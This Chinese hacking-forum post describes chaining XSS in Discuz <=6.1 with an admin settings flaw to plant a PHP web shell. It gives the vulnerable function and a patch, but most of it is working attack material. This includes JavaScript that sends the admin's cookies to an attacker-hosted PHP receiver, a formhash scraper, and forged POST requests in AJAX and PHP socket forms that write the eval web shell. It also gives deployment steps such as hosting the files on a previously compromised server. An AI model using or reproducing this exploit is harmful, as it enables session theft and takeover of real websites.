找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3666|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
) z2 }% n) M* G: u# B( wBy racle @tian6.com) `" k; D- O, [# C$ X, l
欢迎转帖.但请保留版权信息.. C7 \) M8 [* r* R# B& I
受影响版本iscuz<=6.1.0,gbk+utf+big5' C& q4 y( X0 I  f* [
" v  b1 d" Z! e0 }. w0 p
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
" w$ b5 @: ~3 f/ q8 k. G1 I- S$ g7 I; l7 y
4 k( ]2 a& O# |
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87061 `& t* n3 S, }0 m( x
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
- M9 o3 N- O5 S" l- t% p% U; K' I
' B) z* O" l: ]+ @. ^6 N9 h- K2 N$ m分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
; G1 {/ |( X) D3 R9 P本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS# }) t( L$ T. ?8 K5 T: H. z7 T  t: o
7 u7 H' Y( b+ p! t# O# c* C- _) y
" k+ u. H, W8 G- v+ S! b& i
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------; z8 v" r% g0 E2 D0 J0 A
7 Q- W  e2 X1 _( e

. u" s4 R  ~7 J$ m: Eproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
( k* j9 U: D& I8 `1 }9 G
/ e; b- x% Z8 z1 hproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
* O" T! U# }. \  ~% r) m0 T8 A; q1 O# D: ^# E- N: j
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.. G4 z- i* t! A) D: y
/ D, P- p3 W1 y( h6 w+ v  |8 Q

6 M% z5 Z( }% G0 \; H下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {5 e2 j) y5 h2 X: Y2 V

' V* g: I* b* F- @4 |: k        global $runwizardfile, $runwizardhistory;+ U: l& \+ P. q: f, w! k3 ^+ D# `1 }- v
  J; f8 `) V) Y: [) q
        $fp = fopen($runwizardfile, 'w');5 s8 Z+ \- \6 g9 n

, s3 ]% c( ~+ T$ H' G        fwrite($fp, serialize($runwizardhistory));2 Y6 \( ?3 P( n$ S8 Z1 A) a
8 V/ k9 C$ z/ [2 m
        fclose($fp);4 x! Y5 l8 J1 m+ W% X$ {" ]: A

! E7 ^% B) A/ Q6 D8 Y! E}: e6 M% {- F# O5 @
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
0 u0 q6 |- e! T$ v以下是修补的办法:function saverunwizardhistory() {8 z- S1 k5 w7 C" l
% h' H7 _, J4 K# O% y& X5 A# E% X  L
        global $runwizardfile, $runwizardhistory;
5 U2 ^' ~0 i# V5 y' W! y  N
1 r% N$ U: F1 X: U4 o        $fp = fopen($runwizardfile, 'w');
* s* y& J3 d, r8 C. v) a- J; ?  o4 |  W3 F8 W
        $s = '<?php exit;?>';
- V' w* P" g" D( i. M' l1 s2 N1 [  ~/ e
        $s .= serialize($runwizardhistory);8 O+ A- o2 m7 D7 ?

6 V5 _, S7 x3 S) R0 u        fwrite($fp, $s);2 ^0 k, s- g$ a6 u

) j  ~  \6 z/ |        fclose($fp);! U; @$ ?. x3 i3 X" S
$ x3 \( ~/ Z: M2 b' ~% D
}
- W+ U( S- y( h. {( H# |复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.% j/ E3 s; Y6 \' S1 n
- A2 K. V! a6 B8 \
- `3 |9 ]9 k$ z/ t& c6 l6 x3 p
) ]; @8 C- [& w% R% g& K
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------+ R' ?: A& H6 _9 j) U+ }

/ p; b  ?" T$ G; ]6 Y  K7 x- A" s$ c* N4 b( U8 o, L8 p$ z) F6 p
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.( L5 z" P( h. Y

/ W5 K9 a7 A7 [. e/ a- J1 d我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
: d8 x, n% m& \& c% H# q4 f, F2 ], A( h3 p
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.# J# ^& S2 M8 ?; I9 O" V

1 }6 _) E6 n8 Z/ g4 A' N* |首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
- m  E) \; ~" v2 k* D
3 v7 L9 f: s# C- S# [var url="http://目标网站/admincp.php";      * p$ ^6 }+ B8 _" c8 F+ b" ^
  b7 [6 {2 ]( [" J# M  p* H
/*获得cookies*/
: e7 F& _$ i. l2 @; y' I9 Q
9 i# J9 O8 g7 ffunction getURL(s) {
# C/ Z/ r$ \2 \9 V! k% J# Z- p/ C8 o
var image = new Image();& G2 R# e' ~. k, J: k5 _8 f

4 y& n) U+ Q; R5 F  F' oimage.style.width = 0;
' ]0 w6 G" d) H6 Q5 k% \; [- I- S* d, T7 K  S! ?7 L
image.style.height = 0;
: B: a# D/ z. w/ O' D- G: R2 h9 Q( z% Q/ z* ~6 z
image.src = s;
' \% z( d0 J6 U9 x8 L9 C/ s2 D- ]! I1 X9 M0 ~
}
/ `2 v3 w" X. K2 k2 w. _1 l. c" j4 A2 E' g) r4 h% I. z
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
% [( I1 y$ e: s7 x复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];$ L8 _$ V# ~4 Z* d) e/ e' u
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) * o5 N, R+ Z( B8 B
0 d5 |- q7 Y/ W6 A6 `8 t# E

$ }/ ]! |" a# \' c( y获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
+ k& t. Z6 w" {" z7 Y
3 Y" m+ ~6 Z1 d* m! M* I
4 t1 G, P. i+ S
- T1 _! m- Y; ]/*hash*/
6 [  o; p  \8 k! g2 ^3 E1 w% |! |% a
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");( }; X8 g( e) ^/ g

4 o% D7 B5 G1 o! y4 p5 ]xmlHttpReq.open("GET", url+"admincp.php?action=home", false);- G" K0 G  R# @5 J
, U, C* d6 e, L8 ?1 R0 u
xmlHttpReq.send();
1 x) A. L. Y" u' M8 z, c( |7 o, @  s. V; Q* p
var resource = xmlHttpReq.responseText;
4 f* b% o* N  x7 A7 m) k" t3 ~: I+ ^6 t
var numero = resource.search(/formhash/);8 U7 J# l) a7 y& b* X' C8 @5 s
/ l1 d2 _' {. ^3 I& i$ ?+ }) f: R
var formhash=encodeURIComponent(resource.substr(numero+17,8));
% b6 w0 K1 _3 E# H0 p! ?! r) Q, m+ v! M) L. j2 M
; s" X% ?2 e+ N) d3 k8 A$ ~

  ?# {. P% c5 K6 {3 t% _0 Tvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
2 m% d5 z) i0 v* d/ m2 m
6 R5 V2 ^1 U5 `$ s$ `xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
2 ^8 ?9 x5 O# X( q* p4 t
7 f+ U% M9 |8 l% _2 E; t% J7 F! [) p+ DxmlHttpReq.setRequestHeader("Referer", url);# `. W1 k* z6 o7 A* W1 Z/ y* s

5 l6 G1 G5 C8 R) cxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");* Z( S9 G: t. H2 k8 X, Q
" b7 u# U3 u/ Y/ z2 _
xmlHttpReq.setrequestheader("content-length",post.length);
- H" }+ r: n9 Q1 k  U/ Q
) }6 M1 v3 @( {9 r  txmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
2 l; q+ X. P3 L- U8 R. l# }# X% P, g. k* r( x
xmlHttpReq.send(post);//发送数据3 I/ `1 |5 a7 }$ O
复制代码这里HASH我假设正确,这样提交,也无须cookies
$ i3 }9 B7 X5 N4 m% N  [# L
, q: n. K0 |; h( H0 X- ?3 G再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);; X( M9 @" v$ o- Y6 C
5 o7 W( e2 h: i
if (!$sock) die("$errstr ($errno)\n");
9 `6 s$ O) B  I7 L
( I3 P9 G; [+ B  P$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';( m& [' S2 X! z( _# [
" n0 T7 s; [5 c$ Q& N, _( Y
. o  p$ x0 I9 R
- i, w6 j2 o/ m/ l; e/ B
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");2 `5 [$ z- o9 R) R8 |6 D
6 P+ ?, ^  k  x
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");# a7 L* C0 O3 _
" i9 K, e7 W6 f# n9 I
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");8 ~4 Y( i5 }% w- A. i
# N9 F6 |) M' V2 I+ L4 r$ o8 i1 _
fwrite($sock, "Accept-Language: zh-cn\r\n");
; W! p7 R' R: O9 i7 l$ a9 V5 l' h" r# h$ s! h8 `9 s
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
2 y3 M+ y! w8 I5 Y3 U0 ~- y+ q0 W+ l
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");( t4 R7 g$ `3 W# P# Y& I
0 X% R6 l8 T- Q, o5 b6 i6 P
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
6 J: q, \, N0 x4 R
; b4 C- {5 i, `7 h# qfwrite($sock, "Host: $url\r\n");
# N0 F5 h0 A/ [! c1 l: c% H0 k5 i$ _: W; x% n: |& `, L
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
# P2 E, v- G/ S4 I, j2 b3 V7 Y: ?$ r6 I1 E) @+ n
fwrite($sock, "Connection: Keep-Alive\r\n");; q! ?5 P/ B! Q- K3 u8 \7 `1 W6 o

" g' i: {! N0 e% y+ Ffwrite($sock, "Cache-Control: no-cache\r\n");- [2 {  [% O* S. x9 C0 }3 }
+ Y& U5 q- I2 v: }& P
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");) F4 X' s; Q, v% b
% u, S# C0 N2 X
fwrite($sock, $data);- N3 [( \- M& V* X2 \
0 ?+ _( v/ R. A+ D. H" Y- l6 h8 Z( ~
& Q9 o' u  \8 Z" d/ o

9 A- |2 D1 j' @* B4 X$ R$ x- A$headers = "";
8 N4 D' l  ?5 \/ }- A# X/ N0 Y' s8 l! S8 {1 v
while ($str = trim(fgets($sock, 4096)))( i; Q7 x# t( J* l6 {2 {
5 o( z% N0 K. N7 d& n! i! I' {
     $headers .= "$str\n";$ v# ^# ]- g# j* ^8 d6 F
7 X* F+ I' h! _4 b) U  h9 d  R
echo "\n";
; I- u2 f& D& I1 P% p2 a" N
* Q6 M8 I% A: T5 ~6 h. e$body = "";
& @6 Z9 s) f7 L( j) m8 ?) d# v. v) |3 Q- A" V
while (!feof($sock))
" @' ?* L4 G) |! c. C5 B2 C! r/ N2 A/ |
     $body .= fgets($sock, 4096);" l+ ^3 k4 ~5 S, _. f$ h: s5 @. o5 g
3 m, F8 W6 P8 `# ~& t* s9 B* j, Q
fclose($sock);$ R& x" o" _7 U5 w5 z! }

+ U$ W' K- v$ H( M( C) Eecho $body;
3 K: h& `  t6 B5 k* J复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^; P, d$ t$ Z% F  ~
( t) l" Y" V* f- ^

4 ~1 \, L8 E& _+ K" N$ f-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------; D  H7 K# e1 \8 u/ `$ f  }# b2 J

, o# d# s" |; z( h, p
5 D( v8 b6 w+ H1HP SOCKET利用方法首先打开racle.js: v' Y" f" |) n. C) U- F, P

' B4 o# ]/ B% yvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home2 F: z0 V* K5 }$ J; R
) |  F# k  K4 G5 }
4 l' d0 \1 [( F  E" {8 S4 h4 o
! \; y/ @# E/ ?) a! U
然后打开racle@tian6.php
* }% l3 k( @0 [# K9 C' y6 A* Z/ h6 Z
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com6 B) J& V* x3 u

, [- z) ?3 Q8 n1 }
7 W0 w9 b& H7 P) f* q: K9 A  M7 k4 o: h
1 c3 F$ ^  m& N% o3 ~3 ?( H8 Y如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
5 K1 I8 k5 ~) j% `4 @0 Q; b
+ v' I, v, f4 L! K9 Z1 |0 `getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
' ~! i2 u4 O2 @2 f# Q0 u: Q  f9 h  \6 M! z8 x. R( t( b

( l, i# D! H0 L7 h! l; I/ B! W8 s# C9 ]3 m0 M% t% k6 O! _# k
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));7 W% X: R0 A0 {- z
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
1 b$ W' D" u2 h# s* ?' U8 Q: D' v7 s8 J, z: C+ _
" d+ f' t$ T. }+ u

: p1 s8 U4 K- B$ {; b7 x& N. I  g! y如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
! ]1 o3 `0 i; Y3 q/ i" J8 p; W: t: j  ]/ B
var formhash=encodeURIComponent(resource.substr(numero+17,8));
, f; I2 O; X* R' t' P; j9 _
7 `4 ]" E5 Y5 Y+ ]- q; A1 \% a2 d7 z  @

3 i- v% \, K! L% n1 kvar formhash=encodeURIComponent(resource.substr(numero+9,8));
0 B4 R+ z6 ^' z0 O( G复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
8 _1 Y/ w) |4 f, W8 y1 s% v8 k1 u/ q8 w) a% V6 G
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.% o8 r9 M' ?/ n+ c7 ~) Q' L0 o

0 K# v  k6 H, A: ^$ ^; s4 B如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
) ]" A+ x" y; q6 g1 m# k
2 U: @; f) E8 m$ S1 ?' J, F, x+ H不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.8 s* i; t# f+ v9 ?
0 {- I# }5 w" O; u; j' @* c* V$ }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表